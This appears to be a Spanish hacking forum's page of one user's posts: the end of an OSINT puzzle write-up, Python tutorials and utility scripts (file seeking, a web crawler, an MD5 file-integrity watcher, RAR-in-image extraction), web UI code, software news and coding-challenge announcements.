Para hallar la cantidad de total de saludos imaginamos que estos son como líneas que unen a los asteriscos de la imagen anterior. Podemos tener tanto líneas verticales y horizontales como diagonales en dos direcciones.

Líneas diagonales (una dirección): 1 + 2 + 3 + 4 + 5 + 6 + 6 + 6 + 6 + 5 + 4 + 3 + 2 + 1 = 54
Líneas diagonales totales: 54 * 2 = 108
Lineas verticales: 9 * 7 = 63
Líneas horizontales: 6 * 10 = 60
Líneas totales: 108 + 63 + 60 = 231

Por lo tanto, tenemos que el número de habitación es: 231

Dentro de la habitación:

Una vez dentro de la habitación nos encontramos tres archivos: Encontramos.txt, Habitacion de elaskar.gif y FOTO_CARNET.jpg

CitarUna foto carnet de una persona que no sabemos quien es, y todo parece que fue extraida de una cedula de identidad, este podria ser la nueva identidad de Franco Gallo, averigua a ver que podemos averiguar... Aun no sabemos a donde se fue Franco, apenas te enteres de su paradero, ve al aeropuerto e intenta encontrarlo.

Primero averigüemos quien es el sujeto de FOTO_CARNET.jpg

Para ello hacemos uso de la herramienta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Google Imágenes

Esta interesante aplicación no solo nos permite buscar imágenes como tradicionalmente lo hacemos en cualquier buscador, sino que también nos permite subir o indicar la url de una imagen y Google buscará imágenes similares.

Hacemos click en el ícono de la cámara que aparece a la izquierda del botón de búsqueda y luego en "Subir una imagen" seleccionamos la imagen (FOTO_CARNET.jpg) et voilà


Resultado Google Imágenes

Ya sabemos quién es el sujeto de la imagen: Lázaro Báez Argentino pero esto no nos da información acerca del paradero de Franco.

Ahora solo nos queda analizar Habitacion de elaskar.gif que a primera vista luce como la imagen de una habitación normal con el televisor encendido donde pone algo, una especie de mensaje que no es muy claro porque cambia.

Para analizarlo mejor, destripemos el gif y la web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta nos proporciona la herramienta adecuada.


Frame1.gif


Frame2.gif   

Donde se puede leer:

CitarPresidenta inaugurará importante aeronáutica financiada por SGI financiera en Ushuaia

Ya tenemos un lugar: Ushuaia para saber si Franco está ahí, vamos al aeropuerto...

Último nivel: Felicitaciones.rar

en éste, el último nivel nos encontramos, de nuevo, tres archivos: Felicitaciones.rar, INFORMES AEROPUERTO.vbe y Estamos en ushuaia.txt

CitarGenial, llegamos, nos dijeron que una persona fisicamente como Franco ha salido en un avion, tenemos que averiguar como se presento y en que avion se fue, creemos que es un avion que tiene que ver con Elaskar y SGI Financiera... Hay que averiguar a donde fue ese avion el dia 4 de enero de 2013, si conseguimos la patente del avion podremos encontrar donde estuvo, segun un informante, hay una pagina que sube las fotos de los aviones y los sitios donde estuvieron... dijo algo de la "esquina de la aviacion"...

Primero intentemos encontrar la tal página, si buscamos en Google "esquina de la aviación" no encontramos nada que sea de ayuda, así que intentemos por otra parte. Si buscamos en Google "localizar avión por" él mismo nos guía hasta: "localizar avión por matricula" donde el primer resultado es:


Google - Localizar avión por matrícula   

Acabamos de encontrar al rincón de la aviación: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora solo nos falta encontrar la matrícula del avión. La única opción que tenemos es revisar el archivo INFORMES AEROPUERTO.vbe que como ya sabemos tenemos que desofuscar y luego llevar a un formato un poco más legible.

Código: php
$ ./decode "INFORMES AEROPUERTO.vbe" desofuscado.txt


Para acceder a los datos del avión este script nos pide un nombre y apellido que resulta ser los datos del sujeto de la imagen de los dos niveles anteriores. Así que esa búsqueda no era una perdedera de tiempo como parecía.

Código: vb
If y="LAZARO"Then
y=iNpuTBox("Encontre a un pasajero con ese nombre, para salvaguardar su privacidad digame el apellido en MAYUSCULAS","Empleado de Informes"):
If y="BAEZ"tHen
MsgBOx"Si, Lazaro Baez se fue en el avion con matricula LIMA VICTOR - ZULU SIERRA ZULU",,"Empleado de Informes"
ElSe
MsgBox"No puedo encontrar a ningun tripulante con ese nombre, lo siento",,"Empleado de Informes"
End if


Nos dicen la matrícula usando el alfabeto radiofónico, por lo que tras la "traducción" quedaría: LV-ZSZ. Vamos, que no tiene gran misterio.

CitarEl alfabeto radiofónico es un lenguaje de desambiguación alfabética utilizado internacionalmente en radiocomunicaciónes de transmisión de voz en la marina y la aviación, tanto por los servicios civiles como militares. Fue establecido por la Organización de Aviación Civil Internacional (OACI, ICAO en inglés), agencia de la ONU creada en 1944. También es conocido como Interco y como alfabeto fonético OACI. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Ahora, ¡a encontrar ese avión! Para ello vamos a usar otra poderosa herramienta de Google, los operadores que nos permiten realizar búsquedas un poco más refinadas. En este caso usaremos el operador site: para buscar los resultados en solo una página. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para nuestro caso:


Búsqueda avanzada con Google


aviationcorner.net - avión LV-ZSZ

Ahora sabemos que el cuatro de enero de 2013 el avión con matrícula LV-ZSZ estuvo en San Fernando.

Felicitaciones.txt

CitarHaz terminado la primera parte del desafio Publica en el tema del reto tu nick cifrado con esta web No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Parametros:
Algoritmo: RC2
Key: 79137913 paso por aqui y borro este dato
IV : 79137913 paso por aqui y borro este dato
Texto: [tunick]

Proximamente hare un nuevo reto, espero tenerte en el...

Y llegamos al último archivo del reto solo para enterarnos que todo esto fue solo la primer parte.

Saludos!
Once.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#10
Hola chicos, para un proyecto de la universidad necesito aprender a procesar imágenes con JAVA pero no encuentra buena documentación al respecto. ¿Alguien me puede orientar un poco?

Saludos.
#11

CitarThere's a new sheriff in town. And her name is Jessie. We're happy to announce the release of Debian 8.0, codenamed Jessie.

Want to install it? Choose your favourite installation media among Blu-ray Discs, DVDs, CDs and USB sticks. Then read the installation manual. For cloud users Debian also offers pre-built OpenStack images ready to use.

Already a happy Debian user and you only want to upgrade? You are just an apt-get dist-upgrade away from Jessie! Find how, reading the installation guide and the release notes.

Do you want to celebrate the release? Share the banner from this blog in your blog or your website!

Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
#12
Python / Moviendonos entre archivos con python
Enero 22, 2015, 04:14:47 AM
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


A veces, cuando tratamos con archivos necesitamos algo más que sólo leer todo el archivo. Necesitamos poder movernos entre el archivo y leer partes que bien podrían resultar aleatorias. En esta entrada veremos esos métodos que nos brinda Python para conseguir ¡movernos entre los archivos!

Abriendo el archivo

Python nos da dos opciones para abrir un archivo:

Código: python
archivo = open(ruta_archivo, modo_apertura)  # Abrimos el archivo
archivo.read()
archivo.close()  # Cerramos el archivo



Código: python
with open(ruta_archivo, modo_apertura) as archivo:  # Abrimos el archivo
    print archivo.read()



En la primer forma nos tenemos que preocupar por cerrar el archivo, en la segunda forma, cuando salimos del bloque with Python se encarga de cerrar el archivo por nosotros. Ambas formas retornan un objeto tipo file.

Modos de apertura


Modo apertura    Significado
r    Abre el archivo en modo sólo lectura.
w    Abre el archivo en modo sólo escritura. Si ya existe el archivo éste se sobrescribe; de lo contrario, se crea el archivo.
a    Abre el archivo en modo escritura. Si el archivo ya existe se escribe la información al final.
r+    Abre el archivo en los modos lectura y escritura.
rb    Abre el archivo en modo sólo lectura binaria.
rw    Abre el archivo en modo sólo escritura binaria.
r+b    Abre el archivo en los dos modos lectura y escritura binaria.

En Windows se distingue entre archivos de texto y archivos binarios. Así que debemos tener cuidado con el modo en el que abrimos los archivos.

   
Código: python
with open("data.txt", "w") as archivo:  # Abrimos el archivo en modo escritura
    print archivo.write("Hola mundo")  # Escribimos en el archivo


En el script anterior abrimos el archivo data.txt y escribimos en el "Hola mundo"

Métodos del objeto file

Leyendo el archivo

Código: python

archivo.read([tamaño])


El argumento tamaño es opcional y determina la cantidad de bytes que van a ser leídos. Si no se especifica, se leerá todo el archivo.
   
Código: python
archivo.readline()


El método readline() nos permite leer sólo una línea del archivo.

   
Código: python
arhivo.readlines()


El método readlines() lee todo el archivo y regresa una lista donde cada elemento es una línea del archivo.

Cada que leemos en el archivo también nos movemos en él, así, la próxima vez que leamos lo haremos un byte a la derecha desde la última posición.
Cuando llegamos al final del archivo, la lectura nos devolverá una cadena vacía.

Leyendo la versión de un PDF

La cabecera de los archivos PDF tienen el formato: %PDF-1.N(EOL)
Donde N es un número que puede ir desde uno hasta siete y representa la especificación y (EOL) representa un final del línea que puede ser un retorno de carro, una línea nueva o ambas.


Así pues,  tenemos dos opciones para leer la versión de un archivo PDF.
   
Código: python
with open("pdf.pdf", "r") as archivo:  # Abrimos el archivo
    print archivo.readline()  # Leemos la primer línea


Leemos la primer línea completa del archivo.
Citar%PDF-1.4\n

   
Código: python
with open("pdf.pdf", "r") as archivo:  # Abrimos el archivo
    print archivo.read(8)  # Leemos los primeros ocho bytes del archivo


Sólo leemos los primeros ocho bytes del archivo.
Citar%PDF-1.4

Otros métodos del objeto file

Conocer la posición en el archivo

Como ya se explicó antes, cada que leemos el archivo, también nos movemos en el, con el método tell() Python nos permite conocer la posición (el byte) donde estamos en el archivo.
   
Código: python
with open("pdf.pdf", "r") as archivo:  # Abrimos el archivo
    print "Posición inicial:", archivo.tell()
    print "Cabecera:", archivo.read(8)
    print "Posición final:", archivo.tell()


CitarPosición inicial: 0
Cabecera: %PDF-1.4
Posición final: 8

Moviéndonos entre el archivo
   
Código: python
archivo.seek(bytes, [desde_donde])


El argumento bytes indica la cantidad de bytes que nos vamos a mover dentro del archivo.

El argumento desde_donde es opcional, puede tomar tres valores 0, 1 y 2 e indica desde donde nos vamos a mover. 0 (valor por defecto) indica que nos vamos a mover desde el principio del archivo. 1 indica que nos vamos a mover desde donde se encuentra actualmente el puntero. 2 indica que nos vamos a mover desde el final del archivo.

Si el argumento desde_donde es especificado y es distinto que 0, entonces el argumento bytes puede tomar valores negativos y positivos. Un valor positivo indica que nos vamos a mover hacía la derecha y un valor negativo indica que nos vamos a mover hacía la izquierda.

Leyendo un archivo desde atrás
A veces necesitamos leer los archivos desde atrás ya sea porque las especificaciones así lo requieren (como en el formato PDF) o porque lo que nos interesa está ahí ej. los típicos casos de esteganografía por EOF (End Of File) donde la información que queremos ocultar la guardamos al final de una imagen. Si no pudiéramos movernos entre el archivo, tendríamos que leer todo el archivo y luego sí leer la parte que necesitamos.

Para este ejemplo vamos a usar la imagen principal de la entrada que guardaremos como "moviendonos.png". He guardado un pequeño mensaje ahí que ocupa los últimos 26 bytes.

   
Código: python
with open("moviendonos.png", "r") as archivo:  # Abrimos el archivo
    archivo.seek(1, 2)  # Nos movemos al final del archivo
    buffer = ""
    for _ in xrange(26):  # Recorremos los 26 bytes
        archivo.seek(-2, 1)  #  Nos movemos dos bytes a la izquierda
        buffer += archivo.read(1)  # Leemos un byte

print buffer


En el ejemplo anterior estamos abriendo un archivo binario en modo texto (lo ideal es hacerlo en modo binario) "rb" Gracias a Azav por la observación

Recordemos que cuando leemos el archivo sin importar el método que usemos, Python comenzará a leer desde el byte a la derecha de donde se encuentra el puntero. Por eso en la quinta línea nos movemos dos bytes a la izquierda y cuando leemos en la sexta línea nos movemos un byte a la derecha.

El resultado es:


CitarNo tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Por lo general se usa un "separador" para delimitar donde acaba el archivo original y comienza nuestro mensaje; así que si no conocemos la cantidad de bytes que tiene el mensaje escondido, podemos seguir leyendo hasta que encontremos el separador. Teniendo en cuenta que como estamos leyendo desde atrás, el mensaje también lo estaremos leyendo desde atrás.

Si abrimos la imagen con un editor hexadecimal podemos ver que el mensaje está escrito al revés. Por eso cuando lo leemos es legible.


Con esto terminamos la entrada de hoy, cualquier comentario es bienvenido.

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos!
Once
#13
Python / SmartCSS
Agosto 30, 2014, 09:00:06 PM

SmartCSS
uso

CSS entrada

CSS salida


Si alguien alguna vez ha tenido que modificar el diseño de una web (CSS) se podra dar cuenta que si en CSS hubieran variables, el diseño sería mucho  más fácil ya que si en algún momento hay que modificar el color de la web (o alguna otra propiedad) hay que cambiarlo todo a mano. El script lo programé cuando estaba modificando el diseño del foro y lo dejo acá por si a alguien le interesa, solo uso un par de expresiones regulares muy sencillas y no tiene control de errores.

Código: python
import re
import os
import sys


variables = []
diccionario = {}

def reemplazar(x):
    x = x.group()
    print "reemplazando:", diccionario[x[1:]]
    return diccionario[x[1:]]
   
def armar(x):
    x = x.group()
    variables.extend(re.findall("(.*?):(.*?);", x))
    for variable in variables:
        diccionario.update(dict([map(lambda x: x.strip(), variable)]))
    return "/*Generado por SmartCSS - Once*/"

if len(sys.argv) > 2:
    css_source =  sys.argv[1]
    css_final = sys.argv[2]
    if not os.path.isfile(css_source):
        print "archivo ingresado incorrecto"
        exit()

with open(css_source) as archivo:
    css = archivo.read()

encontrar = re.compile(r"(vars.*?{.*?})", re.MULTILINE | re.DOTALL)
salida = encontrar.sub(armar, css)

expresion = "!" + "|!".join(diccionario.keys())

final = re.sub("(%s)" % expresion, reemplazar, salida)

with open(css_final, "w") as css_final:
    css_final.write(final)


El funcionamiento es simple, Las variables se declaran en un bloque vars {} usando la misma sintaxis de CSS y se invoca la variable donde se quiere usar anteponiendo al nombre de la variable un !

Saludos!
#14
Python / Crawler
Julio 23, 2014, 11:04:53 PM

Este es un pequeño crawler que busca archivos según su extensión.

Una vez instaciada la clase, se pueden cambiar ciertos atributos, como los headers HTTP que se envian a la web (atributo headers). También se puede consultar la lista de links que apuntan a otra url.

Código: python
from urlparse import urlparse
from urlparse import urljoin

import urllib2
import copy
import zlib
import sys
import re


class OpenUrl(object):
    headers = {"User-Agent":
        "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201"}
    def open(self, url):
        try:
            request = urllib2.Request(url, headers=self.headers)
            obj_web = urllib2.urlopen(request)
            response = obj_web.info()
            data = obj_web.read()
           
            if response.has_key("Content-Encoding"):
                if "gzip" in response["Content-Encoding"]:
                    print "Codificado"
                    buffer = zlib.decompress(data, 16 + zlib.MAX_WBITS)
            else:
                buffer = data
        except Exception as e:
            print "({0}) Error: {1}".format(url, e)
            return False
        else:
            return buffer


class Crawler(OpenUrl):
    def __init__(self, url, buscar):
        self.host = "http://" + urlparse(url).hostname
        self.headers["Referer"] = self.host
        self.revisar = set([url])
        self.revisados = set()
        self.permitidos = ("html", "php", "php5")
        self.buscar = buscar
        self.externos = set()
        self.cola = set()
        self.expresion = re.compile(
            "(href|src|src)\s*?=\s*?[\"\'](.*?)[\"\']", re.I | re.S)

        self.encontrados = dict(map(lambda x: (x, set()), buscar))

    def crawl(self, profundidad):
        if profundidad > 0:
            self.revisar = self.revisar | self.cola
            if self.revisar:
                print "Preparando para abrir:", len(self.revisar), "links"
                for url in copy.copy(self.revisar):
                    if url in self.revisados:
                        pass
                    print "Abriendo:", url
                    self.revisados.add(url)
                    self.revisar.remove(url)
                    data = self.open(url)
                    if data:
                        self.parsear(url, data)
                self.crawl(profundidad - 1)
   
    def parsear(self, location, data):       
        for link in self.expresion.findall(data):
            absoluto = self.paths(location, link[1])
           
            if absoluto:
                partes = urlparse(absoluto).path
                extension = partes.split(".")[-1]
                if extension in self.buscar:
                    self.encontrados[extension].add(absoluto)
                elif extension in self.permitidos:
                    self.cola.add(absoluto)
   
    def paths(self, relative, path):
        if path.startswith(self.host):
            return path
        elif path.startswith("http"):
            self.externos.add(path)
            return False
        else:
            return urljoin(relative, path)
           

def mostrar(objeto):
    for tag in objeto.encontrados:
        print "\r\n" + tag
        print "\r\n".join(list(objeto.encontrados[tag]))
   

def info():
    print "Uso: crawler.py <host> <profundidad> <extensiones>"
    print "La lista de extensiones a buscar debe estar separada por , (coma)"

try:
    parametros = sys.argv[1:]
    url = parametros[0]
    profundidad = int(parametros[1])
    buscar = "".join(parametros[2:])
    buscar = buscar.split(",")
except:
    info()
    exit()


a = Crawler(url, buscar)
try:
    a.crawl(profundidad)
except KeyboardInterrupt:
    mostrar(a)
    exit()
else:
    mostrar(a)


Saludos!
#15
Noticias Informáticas / chrOpera 24 para linux
Junio 23, 2014, 07:09:33 PM

Más de un año después de que Opera anunciase su decisión de abandonar su motor de navegador para pasarse a Chromium, además de lanzar las versiones betas para Windows y OS X, Opera lanza la versión beta de Opera 24 basado en Chromium.

Ha tardad muchísimo, pero la versión beta basada en Chromium para Linux ya está disponible para descargar, por lo menos para los que usen Debian, Ubuntu o alguna distribución basada en Debian (el paquete es .deb).

Si has usado "Opera Next" en Windows o en OS X no verás sorpresas, peor si aguantaste con la versión anterior basada en el antiguo motor, encontrarás que la carga es más rápida, además de un rediseño general del navegador, una nueva página Descubre, diseños y temas para personalizar el aspecto del navegado, mejoras en el acceso rápido a tus favoritos y Opera Turbo.

Puedes descargar automática la versión beta para desarrolladores para Linux basado en Debian No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Fuente: fayerwayer




En ArchLinux lo podemos instalar desde el yaourt:
Código: bash
yaourt -S opera-developer


Saludos!
#16
Zona Webmaster / [CSS & JS]Personalizar input file
Mayo 24, 2014, 08:04:16 PM
Los que alguna vez jugueteamos con el diseño web, muy seguramente nos encontramos con el problema de personalizar los input file. Inteentaré mostrar la forma en que logré personalizar los input file usando sólo CSS, JS, y el DOM de una manera sencilla. Que además nos permite eliminar archivos que ya estan en la lista para ser subidos al servidor.


La idea es convertir esto:


en esto:



Código: html5

<html>
    <head>
        <link href="input.css" rel="stylesheet" />
        <script src="input.js"></script>
    </head>
    <body>
        <center>
            <form action="http://127.0.0.1:5000/upload" enctype="multipart/form-data" method="POST" id="frm_upload">
                <div id="upload">
                    <input id="archivos" type="file" name="file[]" multiple="multiple" onchange="seleccionados();"/>
                </div>
                <span id="filename"></span>
                <p/>
                <input type="button" name="submit" value="Subir" onclick="subir();"/>
            </form>
        </center>
    </body>
</html>


Para eso, vamos a usar un formulario normal, estructurado así:

un div con id "upload" dentro del cual meteremos el input file; es el div que moldearemos para que tome la forma que nuestro upload tenga.
un input file configurado para seleccionar multiples archivos. Cuando se selecciona un archivo (evento onchange) llama a la función seleccionados
un span con id "filename" que es donde mostraremos los archivos seleccionados
un input button que se encargara cuando hagamos click sobre el de enviar el formulario.

El css (input.css):

Código: css
input[type=file] {
    opacity: 0;
    width: 100%;
    height: 100%;
}

#upload {
    background: url("https://cdn2.iconfinder.com/data/icons/internet/512/Upload-128.png") #111 center center no-repeat;
    width: 150px;
    border-radius: 5px;
    height: 150px;
    box-shadow: 0 0 5px #111;
}


Este sencillo CSS simplemente hace invisible el input file (opacity: 0) y le da un ancho y alto de 100% para que ocupe la totalidad del div (upload)
en el bloque #upload, damos la apariencia que queremos que tengo nuestro upload agrgando un simple background, una sombra y unas dimensiones (150x150).

Hasta ahora, nuestro upload se ve así:

Si lo clickeamos, nos abre la ventana para seleccionar los archivos, pero una vez seleccionados, NO LOS MUESTRA. Así que ahora vamos a codear el JS:

El JS (input.js): Los navegadores no nos dejan modificar los datos de los input file, pero si que nos permite juguetear un poco con los datos. Así que lo que haremos sera obtener la lista de los elementos seleccionados y la guardaremos en un array que podremos modificar (ara eliminar los elemento que no queremos subir) y a la hora de enviar el formulario al servidor, lo que haremos es simular un formulario que llenaremos con la informacion del array y lo enviamos al servidor.

La función seleccionados:

Código: javascript
//Creamos el array que usaremos para almacenar y enviar la informacion
var ELEMENTOS = new Array();

function seleccionados() {
    //Obtenemos el inputfile
    var input = document.getElementById("archivos");
    //Obtenemos los archivos
    var archivos = input.files;
    //Aca es donde mostraremos los elementos seleccionados
    var elementos = document.getElementById("filename");
       
    //Limpiamos los elementos seleccionados anteriormente
    elementos.innerHTML = " ";
    ELEMENTOS = [];
   
    //Recorremos archivo por archivo
    for (item=0; item< archivos.length; item++) {
        //duplicamos el archivo seleccionado en el array elementos
        ELEMENTOS[item] = archivos[item];
        //Creamos un div donde mostramos el archivo seleccionado
        crear_div("file", elementos, archivos[item].name);
    }
}


La funcion crear_div: Esta funcion se encarga de crear un div, agregarle propiedades y luego incrustarlo en un elemento padre

Código: javascript

//funcion que crea un div
function crear_div(clase, padre, informacion) {
    //Escapamos la variable informacion para evitar posibles XSS
    informacion = escape(informacion);
    //Creamos el div
    var div = document.createElement("div");
    //Le agregamos al div sus propiedades
    div.setAttribute("class", clase);
    div.setAttribute("title", "click para eliminar");
   
    //en caso de hacer click en un elemento, lo elimina de la lista de los archivos a subir
    div.onclick = function() {
        var index = -1;
        //eliminamos el archivo seleccionado de la lista
        for (indice=0; indice < ELEMENTOS.length; indice++) {
            //Buscamos el index del elemnto seleccionado para ser eliminado
            if (ELEMENTOS[indice].name == unescape(informacion)) {
                index = indice;
            }
        }
        if (index != -1) {
            //removemos el elemento de la lista
            ELEMENTOS.splice(index, 1);
            padre.removeChild(div);
        } else {
            alert("No se pudo eliminar el elemento");
        }
       
    }
   
    //Agregamos el div al padre
    padre.appendChild(div);
    div.innerHTML = informacion;
}



Hasta ahora, nuestro upload se ve así.

Sólo nos resta darle un estilo a los div que contienen el nombre de los archivos seleccionados (que tienen la clase file):

Código: css
.file {
    background: #111;
    display: inline-block;
    margin: 5px;
    color: #FFF;
    line-height: 25px;
    padding: 5px;
    border-radius: 5px;
    box-shadow: 0 0 5px #000;
}


Y programar la función para subir los archivos al servidor:

Código: javascript
function subir() {
    //creamos un nuevo formulario y lo llenamos con la información del array con los elementos a enviar
    var formulario = new FormData();
   
    for (file=0; file < ELEMENTOS.length; file++) {
        formulario.append("file[]", ELEMENTOS[file]);
    }
   
    //obtenemos el action y method del formulario original
    var frm = document.getElementById("frm_upload");
    var metodo = frm.method.toUpperCase();
    var action = frm.action;
   
    //enviamos el formulario
    var request = new XMLHttpRequest;
    request.open(metodo, action);
    request.send(formulario);
}


Y nuestro uploader está listo.

Saludos!
#17
Python / File Watcher
Mayo 23, 2014, 02:08:51 AM
Buscando en un backup acabo de encontrar este script y lo dejo por si a alguien le sirve.

Hace un tiempo programé un wargame y necesitaba una manera de comprobar que nadie hubiese comprometido los archivos de la web. Las opciones eran verificar los arhivos de más de 20 retos a mano y comprobar que no hubiesen subido una shell o incrustado código en algún php existente. Así que decidí codear un script que me indicara si se creó o modificó algún archivo.

Funcionamiento de script: El script crawlea un directorio y guarda en una "base de datos" (en este caso un diccionario serializado) la ruta de los archivos y sus respectivos hash md5. Para comprobar si un archivo a sido modificado, simplemente se compara su hash md5 con el que está en la BD y obviamente si el archivo no se encuentra en la BD es porque fue creado despues.

Además indica los archivos de backup (.*~) que encuentra.

Código: python
# -*- coding: utf-8 -*-

#11Sep

import os
import sys
import hashlib
import cPickle

recursividad = False
diccionario = {}
COLORES = {
    "archivo": "\033[91m\t[Archivo nuevo] %s\033[0m",     # Rojo
    "carpeta": "\033[94m\t[Carpeta nueva] %s\033[0m",     # Azul
    "modificado": "\033[93m\t[Modificado] %s\033[0m",     # Amarillo
    "backup": "\033[91m\t[BACKUP] %s\033[0m",             # Rojo
}

MENU = """Modo de uso:
%s ruta [parametros]

-r          Modo recursivo
-a          Actualiza la BD
-v          Para ver archivos y hashes
"""


def imprimir(data, color):
    if its_linux:
        print COLORES[color] % data
    else:
        print data

def es_archivo(ruta):
    if os.path.isfile(ruta):
        return True

def es_directorio(ruta):
    if os.path.isdir(ruta):
        return True

def guardar():
    with open("./data.sf", "wb") as archivo:
        cPickle.dump(diccionario, archivo, 2)

def cargar():
    global diccionario
    try:
        with open("./data.sf", "rb") as archivo:
            diccionario = cPickle.load(archivo)
        return True
    except:
        return False

def get_md5(ruta):
    md5 = hashlib.md5()
    with open(ruta, "r") as hash:
        for linea in hash.readlines():
            md5.update(linea)
    return md5.hexdigest()

def recorrer(path, opt):
    if es_directorio(path):
       
        if not diccionario.has_key(path):
            diccionario[path] = {}
            imprimir(path, "carpeta")
       
        archivos = os.listdir(path)
       
        for archivo in archivos:
            ruta_completa = os.path.join(path, archivo)
            if es_archivo(ruta_completa):
                extension = os.path.splitext(ruta_completa)[1]
                if extension.endswith("~"):
                    imprimir(ruta_completa, "backup")
               
                if opt == 1:
                    diccionario[path][archivo] = get_md5(ruta_completa)
                else:
                    md5 = get_md5(ruta_completa)
                    md5_bd = diccionario[path].get(archivo)
                    if md5_bd:   
                        if md5_bd != md5:
                            imprimir(ruta_completa, "modificado")
                    else:
                        imprimir(ruta_completa, "archivo")

            elif es_directorio(ruta_completa) and recursividad:
                recorrer(ruta_completa, opt)

its_linux = (os.name == "posix")

argumentos = sys.argv
if len(argumentos) > 1:
    parametros = []
    ruta = argumentos[1]
    parametros = argumentos[2:]
   
    if "-r" in parametros:
        recursividad = True
   
    if not es_directorio(ruta):
        print "Ruta no valida"
        exit()
    else:
        if "-a" in parametros:
            diccionario = {}
            recorrer(ruta, 1)
            guardar()
            exit()
        if cargar():
            recorrer(ruta, 2)
        else:
            recorrer(ruta, 1)
            guardar()
   
    if "-v" in parametros:
        for x, y in diccionario.iteritems():
            print x
            for archivo, hash in sorted(y.iteritems()):
                print "\t", archivo, hash
       
else:
    print MENU % os.path.split(argumentos[0])[-1]


Las opciones son:
-v: para ver la BD de los archivos y hashes md5
-a: para actualizar la BD
-r: para recorrer las carpetas en modo recursivo








Saludos!
#18
Python / [TPC-R] #1 Fibonacci
Febrero 05, 2014, 12:15:07 AM

The Python Challenges
N°1 Fibonacci
Relámpago




Los retos relámpago son retos que no necesariamente siguen la temática de los retos principales. Tampoco se evaluan los códigos bajo los mismos criterios.

El código ganador es el primero que cumpla con TODAS las condiciones establecidas.

Las condiciones de todos los retos relámpago (a menos que se indique lo contrario en un reto específico) son las siguientes:


  • Cumplir todas y cada una de las condiciones establecidas para el reto.
  • Sólo se acepta un código por participante (el primero que se envíe).
  • Los usuarios descalificados del reto principal de la semana, no se tiene en cuenta en la puntuación de los retos relámpago de esa misma semana.
  • Bajo ninguna circunstancia se publican los códigos en el hilo del reto.
  • Si hay límite de tiempo para el reto, o si finaliza el tiempo del reto principal y ningún código cumple con todas las condiciones se cierra el reto sin ganadores.

Sucesión Fibonacci

En este reto el objetivo es codear una función que regrese una lista con los primeros cien números de la serie Fibonacci comenzando desde el uno

Condición
El código ganador será el más corto que cumpla con el objetivo.

El plazo máximo de entrega es para el Jueves 6 de Febrero.


Los códigos deben ser enviados por mp a los moderadores (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) con el siguiente asunto: [TPC-R] #1 (Debido a la cantidad de códigos que nos llegan)

Happy coding

#19
Python / [TPC-C] #1 Cifrado César
Enero 31, 2014, 03:52:38 AM
The Python Challenges
N°1 Cifrado César
Criptografía




Objetivo:
Programar las funciones necesarias que permitan codificar y decodificar un mensaje usando el cifrado César teniendo en cuenta los siguientes aspectos:
   

       
  • La salida debe ser en minúsculas.
  • Se deben respetar los caracteres no alfabéticos.
  • No se tiene en cuenta la letra ñ.

La fecha máxima de entrega es para el Viernes 7 de Febrero. los códigos deben ser enviados por mp a los moderadores (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)
Sólo se acepta un código por participante.

Los criterios de evaluación son los mismos establecidos en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta post


Enlaces de ayuda:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Ganador:


Al momento de evaluar, se respetaron los criterios establecidos desde un principio, a saber:

    - Portablidad

    - Número de librerías utilizadas

    - Legibilidad (según las normativas establecidas por la PEP-8).

    - Eficacia:
        -> La salida debe ser en minúsculas
        -> Se deben respetar los caracteres no alfabéticos
        -> No se tiene en cuenta la letra ñ
        -> El (des)cifrado de los caracteres alfabéticos es correcto

Por cumplir con todos ellos (siendo el único en cumplir el último), el ganador es:

deni_celine


Nota:  Todas la dudas acerca de este reto van en este hilo.
#20
Python / Kiki tester de expresiones regulares
Diciembre 18, 2013, 09:26:08 PM

Kiki es un entorno con su interfaz en wxPython que nos permite testear nuestras expresiones regulares. Se le ingresa la expresión regular y el texto al cual se le quiere aplicar la expresión y Kiki nos resalta las coincidencias (si las hay).

Dependencias:


  • wxPython
  • Python 2.7

Kiki se puede descargar desde la web del proyecto No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para ArchLinux, Kiki se encuentra en los repositorios AUR:

Código: bash
yaourt -S kiki-re


Saludos!
#21
Python / inRar.py buscador de archivos rar en imágenes
Noviembre 30, 2013, 10:43:27 PM

(No tienes permitido ver los links. Registrarse o Entrar a mi cuenta)

Hola, creo que todos conocemos el método esteganográfico EOF que consiste básicamente en agregar un archivo al final de otro; como por ejemplo incrustar un comprimido .rar dentro de una imagen sin corromper ésta. (En GNU/Linux es tan simple como un cat archivo1 archivo2 > archivo_final)

Hace un tiempo hice uso de este método y ahora me doy cuenta que tengo más de 700 imágenes y sería algo aburrido buscar la información a mano así que codee este pequeño script. Espero a alguien le sea de ayuda.

Su funcionamiento es simple, se abre el archivo en forma de lectura binaria, se convierten estos datos a hexadecimal y con una expresión regular busca las cabeceras del Rar. si las encuentra, copia esa información y la guarda en un archivo independiente.

Código: python

#!/usr/bin/python2
# -*- coding: utf-8 -*-
# 11Sep para underc0de.org


import os
import re
import sys
import urllib

rar_ = re.compile(".*?(52617221.*C43D7B00400700).*?", re.DOTALL | re.IGNORECASE)

def abrir_archivo(ruta):
    print "Comprobando archivo:", ruta
    if ruta.lower().endswith(".rar"):
        return
    with open(ruta, "rb") as archivo:
        data = archivo.read()
        data  = data.encode("hex")
    comprobar_rar(data, ruta)

def abrir_url(url):
    print "Abriendo url"
    data = urllib.urlopen(url).read()
    data = data.encode("hex")
